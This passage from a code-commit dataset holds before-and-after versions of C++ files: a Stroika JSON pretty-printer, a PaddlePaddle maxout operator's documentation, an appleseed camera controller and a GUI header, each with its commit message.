(L\"\\\\\\\\\");\n break;\n case '\\n':\n out.Write (L\"\\\\n\");\n break;\n case '\\r':\n out.Write (L\"\\\\r\");\n break;\n\/\/ unclear if we need to quote other chars such as \\f\\t\\b\\ but probably not...\n default:\n wchar_t c = *i;\n out.Write (&c, &c + 1);\n break;\n }\n }\n out.Write (L\"\\\"\");\n }\n void PrettyPrint_ (const vector<Memory::VariantValue>& v, const TextOutputStream& out, int indentLevel)\n {\n out.Write (L\"[\\n\");\n for (auto i = v.begin (); i != v.end (); ++i) {\n Indent_ (out, indentLevel + 1);\n PrettyPrint_ (*i, out, indentLevel + 1);\n if (i + 1 != v.end ()) {\n out.Write (L\",\");\n }\n out.Write (L\"\\n\");\n }\n Indent_ (out, indentLevel);\n out.Write (L\"]\");\n }\n void PrettyPrint_ (const map<wstring, Memory::VariantValue>& v, const TextOutputStream& out, int indentLevel)\n {\n out.Write (L\"{\\n\");\n for (auto i = v.begin (); i != v.end ();) {\n Indent_ (out, indentLevel + 1);\n PrettyPrint_ (i->first, out, indentLevel + 1);\n out.Write (L\" : \");\n PrettyPrint_ (i->second, out, indentLevel + 1);\n ++i;\n if (i != v.end ()) {\n out.Write (L\",\");\n }\n out.Write (L\"\\n\");\n }\n Indent_ (out, indentLevel);\n out.Write (L\"}\");\n }\n void PrettyPrint_ (const Memory::VariantValue& v, const TextOutputStream& out, int indentLevel)\n {\n switch (v.GetType ()) {\n case Memory::VariantValue::Type::eNull:\n PrettyPrint_Null_ (out);\n break;\n case Memory::VariantValue::Type::eBoolean:\n PrettyPrint_ (v.As<bool> (), out);\n break;\n case Memory::VariantValue::Type::eDate:\n PrettyPrint_ (v.As<wstring> (), out);\n break;\n case Memory::VariantValue::Type::eDateTime:\n PrettyPrint_ (v.As<wstring> (), out);\n break;\n case Memory::VariantValue::Type::eInteger:\n PrettyPrint_ (v.As<long long int> (), out);\n break;\n case Memory::VariantValue::Type::eUnsignedInteger:\n PrettyPrint_ (v.As<unsigned long long int> (), out);\n break;\n case Memory::VariantValue::Type::eFloat:\n PrettyPrint_ (v.As<long double> (), out);\n break;\n case Memory::VariantValue::Type::eString:\n PrettyPrint_ (v.As<wstring> (), out);\n break;\n case Memory::VariantValue::Type::eMap:\n PrettyPrint_ (v.As<map<wstring, Memory::VariantValue>> (), out, indentLevel);\n break;\n case Memory::VariantValue::Type::eArray:\n PrettyPrint_ (v.As<vector<Memory::VariantValue>> (), out, indentLevel);\n break;\n default:\n RequireNotReached (); \/\/ only certain types allowed\n }\n }\n}\n\n\n\n\n\/*\n ********************************************************************************\n ******************** DataExchangeFormat::JSON::Writer **************************\n ********************************************************************************\n *\/\nclass DataExchangeFormat::JSON::Writer::Rep_ : public DataExchangeFormat::Writer::_IRep {\npublic:\n DECLARE_USE_BLOCK_ALLOCATION (Rep_);\npublic:\n virtual _SharedPtrIRep Clone () const override {\n return _SharedPtrIRep (new Rep_ ()); \/\/ no instance data\n }\n virtual void Write (const Memory::VariantValue& v, const Streams::BinaryOutputStream& out) override {\n PrettyPrint_ (v, TextOutputStreamBinaryAdapter (out, TextOutputStreamBinaryAdapter::Format::eUTF8WithoutBOM), 0);\n }\n virtual void Write (const Memory::VariantValue& v, const Streams::TextOutputStream& out) override {\n PrettyPrint_ (v, out, 0);\n }\n};\n\n\nDataExchangeFormat::JSON::Writer::Writer ()\n : inherited (shared_ptr<_IRep> (new Rep_ ()))\n{\n}\n<commit_msg>in JSON writer, extra NL at end of mapping & array - maybe makes layout look better (experiment)<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2013. All rights reserved\n *\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Streams\/iostream\/BinaryOutputStreamFromOStreamAdapter.h\"\n#include \"..\/..\/Streams\/TextOutputStreamBinaryAdapter.h\"\n\n#include \"Writer.h\"\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::DataExchangeFormat;\nusing namespace Stroika::Foundation::Streams;\n\n\n\/*\n * TODO:\n * No known issues\n *\/\n\n\n\n\n\n\/*\n ********************************************************************************\n *************** DataExchangeFormat::JSON::PrettyPrint **************************\n ********************************************************************************\n *\/\nnamespace {\n void Indent_ (const TextOutputStream& out, int indentLevel)\n {\n for (int i = 0; i < indentLevel; ++i) {\n out.Write (L\" \");\n }\n }\n}\nnamespace {\n void PrettyPrint_ (const Memory::VariantValue& v, const TextOutputStream& out, int indentLevel);\n void PrettyPrint_Null_ (const TextOutputStream& out)\n {\n out.Write (L\"null\");\n }\n void PrettyPrint_ (bool v, const TextOutputStream& out)\n {\n if (v) {\n out.Write (L\"true\");\n }\n else {\n out.Write (L\"false\");\n }\n }\n void PrettyPrint_ (long long int v, const TextOutputStream& out)\n {\n wchar_t buf[1024];\n ::swprintf (buf, NEltsOf (buf), L\"%lld\", v);\n out.Write (buf);\n }\n void PrettyPrint_ (unsigned long long int v, const TextOutputStream& out)\n {\n wchar_t buf[1024];\n ::swprintf (buf, NEltsOf (buf), L\"%llu\", v);\n out.Write (buf);\n }\n void PrettyPrint_ (long double v, const TextOutputStream& out)\n {\n wchar_t buf[1024];\n ::swprintf (buf, NEltsOf (buf), L\"%Lf\", v);\n Assert (::wcslen (buf) >= 1);\n \/\/ trim trailing 0\n for (size_t i = ::wcslen (buf) - 1; buf[i] == '0'; --i) {\n if (i >= 0 and buf[i - 1] != '.') {\n buf[i] = '\\0';\n }\n }\n out.Write (buf);\n }\n void PrettyPrint_ (const wstring& v, const TextOutputStream& out)\n {\n out.Write (L\"\\\"\");\n for (auto i = v.begin (); i != v.end (); ++i) {\n switch (*i) {\n case '\\\"':\n out.Write (L\"\\\\\\\"\");\n break;\n case '\\\\':\n out.Write (L\"\\\\\\\\\");\n break;\n case '\\n':\n out.Write (L\"\\\\n\");\n break;\n case '\\r':\n out.Write (L\"\\\\r\");\n break;\n\/\/ unclear if we need to quote other chars such as \\f\\t\\b\\ but probably not...\n default:\n wchar_t c = *i;\n out.Write (&c, &c + 1);\n break;\n }\n }\n out.Write (L\"\\\"\");\n }\n void PrettyPrint_ (const vector<Memory::VariantValue>& v, const TextOutputStream& out, int indentLevel)\n {\n out.Write (L\"[\\n\");\n for (auto i = v.begin (); i != v.end (); ++i) {\n Indent_ (out, indentLevel + 1);\n PrettyPrint_ (*i, out, indentLevel + 1);\n if (i + 1 != v.end ()) {\n out.Write (L\",\");\n }\n out.Write (L\"\\n\");\n }\n Indent_ (out, indentLevel);\n out.Write (L\"]\\n\");\n }\n void PrettyPrint_ (const map<wstring, Memory::VariantValue>& v, const TextOutputStream& out, int indentLevel)\n {\n out.Write (L\"{\\n\");\n for (auto i = v.begin (); i != v.end ();) {\n Indent_ (out, indentLevel + 1);\n PrettyPrint_ (i->first, out, indentLevel + 1);\n out.Write (L\" : \");\n PrettyPrint_ (i->second, out, indentLevel + 1);\n ++i;\n if (i != v.end ()) {\n out.Write (L\",\");\n }\n out.Write (L\"\\n\");\n }\n Indent_ (out, indentLevel);\n out.Write (L\"}\\n\");\n }\n void PrettyPrint_ (const Memory::VariantValue& v, const TextOutputStream& out, int indentLevel)\n {\n switch (v.GetType ()) {\n case Memory::VariantValue::Type::eNull:\n PrettyPrint_Null_ (out);\n break;\n case Memory::VariantValue::Type::eBoolean:\n PrettyPrint_ (v.As<bool> (), out);\n break;\n case Memory::VariantValue::Type::eDate:\n PrettyPrint_ (v.As<wstring> (), out);\n break;\n case Memory::VariantValue::Type::eDateTime:\n PrettyPrint_ (v.As<wstring> (), out);\n break;\n case Memory::VariantValue::Type::eInteger:\n PrettyPrint_ (v.As<long long int> (), out);\n break;\n case Memory::VariantValue::Type::eUnsignedInteger:\n PrettyPrint_ (v.As<unsigned long long int> (), out);\n break;\n case Memory::VariantValue::Type::eFloat:\n PrettyPrint_ (v.As<long double> (), out);\n break;\n case Memory::VariantValue::Type::eString:\n PrettyPrint_ (v.As<wstring> (), out);\n break;\n case Memory::VariantValue::Type::eMap:\n PrettyPrint_ (v.As<map<wstring, Memory::VariantValue>> (), out, indentLevel);\n break;\n case Memory::VariantValue::Type::eArray:\n PrettyPrint_ (v.As<vector<Memory::VariantValue>> (), out, indentLevel);\n break;\n default:\n RequireNotReached (); \/\/ only certain types allowed\n }\n }\n}\n\n\n\n\n\/*\n ********************************************************************************\n ******************** DataExchangeFormat::JSON::Writer **************************\n ********************************************************************************\n *\/\nclass DataExchangeFormat::JSON::Writer::Rep_ : public DataExchangeFormat::Writer::_IRep {\npublic:\n DECLARE_USE_BLOCK_ALLOCATION (Rep_);\npublic:\n virtual _SharedPtrIRep Clone () const override {\n return _SharedPtrIRep (new Rep_ ()); \/\/ no instance data\n }\n virtual void Write (const Memory::VariantValue& v, const Streams::BinaryOutputStream& out) override {\n PrettyPrint_ (v, TextOutputStreamBinaryAdapter (out, TextOutputStreamBinaryAdapter::Format::eUTF8WithoutBOM), 0);\n }\n virtual void Write (const Memory::VariantValue& v, const Streams::TextOutputStream& out) override {\n PrettyPrint_ (v, out, 0);\n }\n};\n\n\nDataExchangeFormat::JSON::Writer::Writer ()\n : inherited (shared_ptr<_IRep> (new Rep_ ()))\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"paddle\/operators\/maxout_op.h\"\nnamespace paddle {\nnamespace operators {\n\nusing framework::Tensor;\n\nclass MaxOutOpMaker : public framework::OpProtoAndCheckerMaker {\n public:\n MaxOutOpMaker(framework::OpProto* proto, framework::OpAttrChecker* op_checker)\n : OpProtoAndCheckerMaker(proto, op_checker) {\n AddInput(\n \"X\",\n \"(Tensor) The input tensor of maxout operator. \"\n \"The format of input tensor is NCHW. Where N is batch size, C is the \"\n \"number of channels, H and W is the height and width of feature.\");\n AddOutput(\"Out\",\n \"(Tensor) The output tensor of maxout operator.\"\n \"The format of output tensor is also NCHW.\"\n \"Where N is batch size, C is \"\n \"the number of channels, H and W is the height and \"\n \"width of feature.\");\n AddAttr<int>(\n \"groups\",\n R\"DOC(\"Specifies how many groups the input tensor will be split\"\n \"in the channel dimension. And the number of output channel is \"\n \"the number of channels divided by groups..\"\n )DOC\");\n AddComment(R\"DOC(\n Assumed the input shape is (N, Ci, H, W).\n The output shape is (N, Co, H, W). Then `Co = Ci \/ groups`.\n\n math:\n y_{si+j} = \\max_k x_{gsi + sk + j}\n g = groups\n s = input.size \/ num_channels\n 0 \\le i < num_channels \/ groups\n 0 \\le j < s\n 0 \\le k < groups\n\n Please refer to Paper:\n - Maxout Networks: http:\/\/www.jmlr.org\/proceedings\/papers\/v28\/goodfellow13.pdf\n - Multi-digit Number Recognition from Street View \\\n Imagery using Deep Convolutional Neural Networks: \\\n https:\/\/arxiv.org\/pdf\/1312.6082v4.pdf\n )DOC\");\n }\n};\n\nclass MaxOutOp : public framework::OperatorWithKernel {\n public:\n using framework::OperatorWithKernel::OperatorWithKernel;\n void InferShape(framework::InferShapeContext* ctx) const override {\n PADDLE_ENFORCE(ctx->HasInput(\"X\"),\n \"Input(X) of MaxoutOp\"\n \"should not be null.\");\n PADDLE_ENFORCE(ctx->HasOutput(\"Out\"),\n \"Output(Out) of MaxoutOp should not be null.\");\n auto in_x_dims = ctx->GetInputDim(\"X\");\n int groups = ctx->Attrs().Get<int>(\"groups\");\n \/\/ check groups > 1\n PADDLE_ENFORCE_GT(groups, 1, \"groups should be larger than 1 in maxoutop\");\n std::vector<int64_t> output_shape({in_x_dims[0], in_x_dims[1] \/ groups});\n output_shape.push_back(in_x_dims[2]);\n output_shape.push_back(in_x_dims[3]);\n ctx->SetOutputDim(\"Out\", framework::make_ddim(output_shape));\n }\n};\n\nclass MaxOutOpGrad : public framework::OperatorWithKernel {\n public:\n using framework::OperatorWithKernel::OperatorWithKernel;\n void InferShape(framework::InferShapeContext* ctx) const override {\n PADDLE_ENFORCE(ctx->HasInput(\"X\"), \"Input(X) must not be null.\");\n PADDLE_ENFORCE(ctx->HasOutput(framework::GradVarName(\"X\")),\n \"Input(X@GRAD) should not be null.\");\n ctx->SetOutputDim(framework::GradVarName(\"X\"), ctx->GetInputDim(\"X\"));\n }\n};\n} \/\/ namespace operators\n} \/\/ namespace paddle\n\nnamespace ops = paddle::operators;\nREGISTER_OP(maxout, ops::MaxOutOp, ops::MaxOutOpMaker, maxout_grad,\n ops::MaxOutOpGrad);\nREGISTER_OP_CPU_KERNEL(maxout,\n ops::MaxOutKernel<paddle::platform::CPUPlace, float>);\nREGISTER_OP_CPU_KERNEL(\n maxout_grad, ops::MaxOutGradKernel<paddle::platform::CPUPlace, float>);\n<commit_msg>fix maxout op latex equation (#6303)<commit_after>\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"paddle\/operators\/maxout_op.h\"\nnamespace paddle {\nnamespace operators {\n\nusing framework::Tensor;\n\nclass MaxOutOpMaker : public framework::OpProtoAndCheckerMaker {\n public:\n MaxOutOpMaker(framework::OpProto* proto, framework::OpAttrChecker* op_checker)\n : OpProtoAndCheckerMaker(proto, op_checker) {\n AddInput(\n \"X\",\n \"(Tensor) The input tensor of maxout operator. \"\n \"The format of input tensor is NCHW. Where N is batch size, C is the \"\n \"number of channels, H and W is the height and width of feature.\");\n AddOutput(\"Out\",\n \"(Tensor) The output tensor of maxout operator.\"\n \"The format of output tensor is also NCHW.\"\n \"Where N is batch size, C is \"\n \"the number of channels, H and W is the height and \"\n \"width of feature.\");\n AddAttr<int>(\n \"groups\",\n R\"DOC(\"Specifies how many groups the input tensor will be split\"\n \"in the channel dimension. And the number of output channel is \"\n \"the number of channels divided by groups..\"\n )DOC\");\n AddComment(R\"DOC(\nMaxOut Operator.\n\nAssumed the input shape is (N, Ci, H, W).\nThe output shape is (N, Co, H, W).\nThen $Co = Ci \/ groups$ and the operator formula is as follows:\n\n$$\ny_{si+j} = \\max_k x_{gsi + sk + j} \\\\\ng = groups \\\\\ns = \\frac{input.size}{num\\_channels} \\\\\n0 \\le i < \\frac{num\\_channels}{groups} \\\\\n0 \\le j < s \\\\\n0 \\le k < groups\n$$\n\nPlease refer to Paper:\n - Maxout Networks: http:\/\/www.jmlr.org\/proceedings\/papers\/v28\/goodfellow13.pdf\n - Multi-digit Number Recognition from Street View \\\n Imagery using Deep Convolutional Neural Networks: \\\n https:\/\/arxiv.org\/pdf\/1312.6082v4.pdf\n\n)DOC\");\n }\n};\n\nclass MaxOutOp : public framework::OperatorWithKernel {\n public:\n using framework::OperatorWithKernel::OperatorWithKernel;\n void InferShape(framework::InferShapeContext* ctx) const override {\n PADDLE_ENFORCE(ctx->HasInput(\"X\"),\n \"Input(X) of MaxoutOp\"\n \"should not be null.\");\n PADDLE_ENFORCE(ctx->HasOutput(\"Out\"),\n \"Output(Out) of MaxoutOp should not be null.\");\n auto in_x_dims = ctx->GetInputDim(\"X\");\n int groups = ctx->Attrs().Get<int>(\"groups\");\n \/\/ check groups > 1\n PADDLE_ENFORCE_GT(groups, 1, \"groups should be larger than 1 in maxoutop\");\n std::vector<int64_t> output_shape({in_x_dims[0], in_x_dims[1] \/ groups});\n output_shape.push_back(in_x_dims[2]);\n output_shape.push_back(in_x_dims[3]);\n ctx->SetOutputDim(\"Out\", framework::make_ddim(output_shape));\n }\n};\n\nclass MaxOutOpGrad : public framework::OperatorWithKernel {\n public:\n using framework::OperatorWithKernel::OperatorWithKernel;\n void InferShape(framework::InferShapeContext* ctx) const override {\n PADDLE_ENFORCE(ctx->HasInput(\"X\"), \"Input(X) must not be null.\");\n PADDLE_ENFORCE(ctx->HasOutput(framework::GradVarName(\"X\")),\n \"Input(X@GRAD) should not be null.\");\n ctx->SetOutputDim(framework::GradVarName(\"X\"), ctx->GetInputDim(\"X\"));\n }\n};\n} \/\/ namespace operators\n} \/\/ namespace paddle\n\nnamespace ops = paddle::operators;\nREGISTER_OP(maxout, ops::MaxOutOp, ops::MaxOutOpMaker, maxout_grad,\n ops::MaxOutOpGrad);\nREGISTER_OP_CPU_KERNEL(maxout,\n ops::MaxOutKernel<paddle::platform::CPUPlace, float>);\nREGISTER_OP_CPU_KERNEL(\n maxout_grad, ops::MaxOutGradKernel<paddle::platform::CPUPlace, float>);\n<|endoftext|>"} {"text":"<commit_before>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010-2011 Francois Beaune\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"cameracontroller.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/api\/camera.h\"\n#include \"renderer\/api\/scene.h\"\n#include \"renderer\/api\/utility.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/math\/transform.h\"\n\n\/\/ Qt headers.\n#include <QEvent>\n#include <QMouseEvent>\n#include <QWidget>\n\nusing namespace foundation;\nusing namespace renderer;\n\nnamespace appleseed {\nnamespace studio {\n\n\/\/\n\/\/ CameraController class implementation.\n\/\/\n\nCameraController::CameraController(\n QWidget* render_widget,\n Scene* scene)\n : m_render_widget(render_widget)\n , m_camera(scene->get_camera())\n{\n configure_controller(scene);\n\n m_render_widget->installEventFilter(this);\n}\n\nCameraController::~CameraController()\n{\n m_render_widget->removeEventFilter(this);\n\n m_camera->get_parameters().insert(\"controller_target\", m_controller.get_target());\n}\n\nvoid CameraController::update_camera_transform()\n{\n m_camera->set_transform(Transformd(m_controller.get_transform()));\n}\n\nbool CameraController::eventFilter(QObject* object, QEvent* event)\n{\n switch (event->type())\n {\n case QEvent::MouseButtonPress:\n if (handle_mouse_button_press_event(static_cast<QMouseEvent*>(event)))\n return true;\n break;\n\n case QEvent::MouseButtonRelease:\n if (handle_mouse_button_release_event(static_cast<QMouseEvent*>(event)))\n return true;\n break;\n\n case QEvent::MouseMove:\n if (handle_mouse_move_event(static_cast<QMouseEvent*>(event)))\n return true;\n break;\n }\n\n return QObject::eventFilter(object, event);\n}\n\nvoid CameraController::configure_controller(const Scene* scene)\n{\n \/\/ Set the controller orientation and position based on the scene camera.\n m_controller.set_transform(\n m_camera->get_transform().get_local_to_parent());\n\n if (m_camera->get_parameters().strings().exist(\"controller_target\"))\n {\n \/\/ The camera already has a target position, use it.\n m_controller.set_target(\n m_camera->get_parameters().get_optional<Vector3d>(\n \"controller_target\",\n Vector3d(0.0)));\n }\n else\n {\n \/\/ Otherwise, if the scene is not empty, use its center as the target position.\n const GAABB3 scene_bbox =\n compute_parent_bbox<GAABB3>(\n scene->assembly_instances().begin(),\n scene->assembly_instances().end());\n if (scene_bbox.is_valid())\n m_controller.set_target(Vector3d(scene_bbox.center()));\n }\n}\n\nVector2d CameraController::get_mouse_position(const QMouseEvent* event) const\n{\n const int width = m_render_widget->width();\n const int height = m_render_widget->height();\n\n const double x = static_cast<double>(event->x()) \/ width;\n const double y = -static_cast<double>(event->y()) \/ height;\n\n return Vector2d(x, y);\n}\n\nbool CameraController::handle_mouse_button_press_event(const QMouseEvent* event)\n{\n if (m_controller.is_dragging())\n return false;\n\n if (!(event->modifiers() & Qt::ControlModifier))\n return false;\n\n const Vector2d position = get_mouse_position(event);\n\n switch (event->button())\n {\n case Qt::LeftButton:\n m_controller.begin_drag(ControllerType::Tumble, position);\n return true;\n\n case Qt::MidButton:\n m_controller.begin_drag(ControllerType::Track, position);\n return true;\n\n case Qt::RightButton:\n m_controller.begin_drag(ControllerType::Dolly, position);\n return true;\n }\n\n return false;\n}\n\nbool CameraController::handle_mouse_button_release_event(const QMouseEvent* event)\n{\n if (!m_controller.is_dragging())\n return false;\n\n m_controller.end_drag();\n\n return true;\n}\n\nbool CameraController::handle_mouse_move_event(const QMouseEvent* event)\n{\n if (!m_controller.is_dragging())\n return false;\n\n const Vector2d position = get_mouse_position(event);\n\n m_controller.update_drag(position);\n\n emit signal_camera_changed();\n\n return true;\n}\n\n} \/\/ namespace studio\n} \/\/ namespace appleseed\n<commit_msg>it is now possible to \"track\" the camera using the left mouse button + Alt, in addition to the middle mouse button.<commit_after>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010-2011 Francois Beaune\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"cameracontroller.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/api\/camera.h\"\n#include \"renderer\/api\/scene.h\"\n#include \"renderer\/api\/utility.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/math\/transform.h\"\n\n\/\/ Qt headers.\n#include <QEvent>\n#include <QMouseEvent>\n#include <QWidget>\n\nusing namespace foundation;\nusing namespace renderer;\n\nnamespace appleseed {\nnamespace studio {\n\n\/\/\n\/\/ CameraController class implementation.\n\/\/\n\nCameraController::CameraController(\n QWidget* render_widget,\n Scene* scene)\n : m_render_widget(render_widget)\n , m_camera(scene->get_camera())\n{\n configure_controller(scene);\n\n m_render_widget->installEventFilter(this);\n}\n\nCameraController::~CameraController()\n{\n m_render_widget->removeEventFilter(this);\n\n m_camera->get_parameters().insert(\"controller_target\", m_controller.get_target());\n}\n\nvoid CameraController::update_camera_transform()\n{\n m_camera->set_transform(Transformd(m_controller.get_transform()));\n}\n\nbool CameraController::eventFilter(QObject* object, QEvent* event)\n{\n switch (event->type())\n {\n case QEvent::MouseButtonPress:\n if (handle_mouse_button_press_event(static_cast<QMouseEvent*>(event)))\n return true;\n break;\n\n case QEvent::MouseButtonRelease:\n if (handle_mouse_button_release_event(static_cast<QMouseEvent*>(event)))\n return true;\n break;\n\n case QEvent::MouseMove:\n if (handle_mouse_move_event(static_cast<QMouseEvent*>(event)))\n return true;\n break;\n }\n\n return QObject::eventFilter(object, event);\n}\n\nvoid CameraController::configure_controller(const Scene* scene)\n{\n \/\/ Set the controller orientation and position based on the scene camera.\n m_controller.set_transform(\n m_camera->get_transform().get_local_to_parent());\n\n if (m_camera->get_parameters().strings().exist(\"controller_target\"))\n {\n \/\/ The camera already has a target position, use it.\n m_controller.set_target(\n m_camera->get_parameters().get_optional<Vector3d>(\n \"controller_target\",\n Vector3d(0.0)));\n }\n else\n {\n \/\/ Otherwise, if the scene is not empty, use its center as the target position.\n const GAABB3 scene_bbox =\n compute_parent_bbox<GAABB3>(\n scene->assembly_instances().begin(),\n scene->assembly_instances().end());\n if (scene_bbox.is_valid())\n m_controller.set_target(Vector3d(scene_bbox.center()));\n }\n}\n\nVector2d CameraController::get_mouse_position(const QMouseEvent* event) const\n{\n const int width = m_render_widget->width();\n const int height = m_render_widget->height();\n\n const double x = static_cast<double>(event->x()) \/ width;\n const double y = -static_cast<double>(event->y()) \/ height;\n\n return Vector2d(x, y);\n}\n\nbool CameraController::handle_mouse_button_press_event(const QMouseEvent* event)\n{\n if (m_controller.is_dragging())\n return false;\n\n if (!(event->modifiers() & Qt::ControlModifier))\n return false;\n\n const Vector2d position = get_mouse_position(event);\n\n switch (event->button())\n {\n case Qt::LeftButton:\n m_controller.begin_drag(\n (event->modifiers() & Qt::AltModifier) ? ControllerType::Track : ControllerType::Tumble,\n position);\n return true;\n\n case Qt::MidButton:\n m_controller.begin_drag(ControllerType::Track, position);\n return true;\n\n case Qt::RightButton:\n m_controller.begin_drag(ControllerType::Dolly, position);\n return true;\n }\n\n return false;\n}\n\nbool CameraController::handle_mouse_button_release_event(const QMouseEvent* event)\n{\n if (!m_controller.is_dragging())\n return false;\n\n m_controller.end_drag();\n\n return true;\n}\n\nbool CameraController::handle_mouse_move_event(const QMouseEvent* event)\n{\n if (!m_controller.is_dragging())\n return false;\n\n const Vector2d position = get_mouse_position(event);\n\n m_controller.update_drag(position);\n\n emit signal_camera_changed();\n\n return true;\n}\n\n} \/\/ namespace studio\n} \/\/ namespace appleseed\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <functional>\n#include <vector>\n#include <string>\n\nnamespace GUI {\n \/\/\/ A window where a hymn can be selected.\n class SelectHymnWindow {\n public:\n \/\/\/ Constructor.\n SelectHymnWindow();\n\n \/\/\/ Scan the save directory for hymns.\n void Scan();\n \n \/\/\/ Show the window and let the user select a hymn.\n void Show();\n \n \/\/\/ Set function to call when closed.\n \/**\n * @param callback Function to call when window is closed.\n *\/\n void SetClosedCallback(std::function<void(const std::string&)> callback);\n \n \/\/\/ Get whether the window is visible.\n \/**\n * @return Whether the window is visible.\n *\/\n bool IsVisible() const;\n \n \/\/\/ Set whether the window should be visible.\n \/**\n * @param visible Whether the window should be visible.\n *\/\n void SetVisible(bool visible);\n \n \/\/\/ Set window title.\n \/**\n * @param title Window title.\n *\/\n void SetTitle(const char* title);\n \n \/\/\/ Set the name of the open button.\n \/**\n * @param openButtonName The name of the open button.\n *\/\n void SetOpenButtonName(const char* openButtonName);\n \n private:\n \/\/ Interaction\n bool hasClosedCallback = false;\n std::function<void(const std::string&)> closedCallback;\n \n std::vector<std::string> files;\n char name[128] = \"\";\n \n bool visible = false;\n \n const char* title;\n const char* openButtonName;\n };\n}\n<commit_msg>Proper initialization of character array.<commit_after>#pragma once\n\n#include <functional>\n#include <vector>\n#include <string>\n\nnamespace GUI {\n \/\/\/ A window where a hymn can be selected.\n class SelectHymnWindow {\n public:\n \/\/\/ Constructor.\n SelectHymnWindow();\n\n \/\/\/ Scan the save directory for hymns.\n void Scan();\n \n \/\/\/ Show the window and let the user select a hymn.\n void Show();\n \n \/\/\/ Set function to call when closed.\n \/**\n * @param callback Function to call when window is closed.\n *\/\n void SetClosedCallback(std::function<void(const std::string&)> callback);\n \n \/\/\/ Get whether the window is visible.\n \/**\n * @return Whether the window is visible.\n *\/\n bool IsVisible() const;\n \n \/\/\/ Set whether the window should be visible.\n \/**\n * @param visible Whether the window should be visible.\n *\/\n void SetVisible(bool visible);\n \n \/\/\/ Set window title.\n \/**\n * @param title Window title.\n *\/\n void SetTitle(const char* title);\n \n \/\/\/ Set the name of the open button.\n \/**\n * @param openButtonName The name of the open button.\n *\/\n void SetOpenButtonName(const char* openButtonName);\n \n private:\n \/\/ Interaction\n bool hasClosedCallback = false;\n std::function<void(const std::string&)> closedCallback;\n \n std::vector<std::string> files;\n char name[128] = {'\\0'};\n \n bool visible = false;\n \n const char* title;\n const char* openButtonName;\n };\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- SemaPseudoObject.cpp - Semantic Analysis for Pseudo-Objects ------===\/\/\n\/\/\n\/\/ The LLVM Compiler 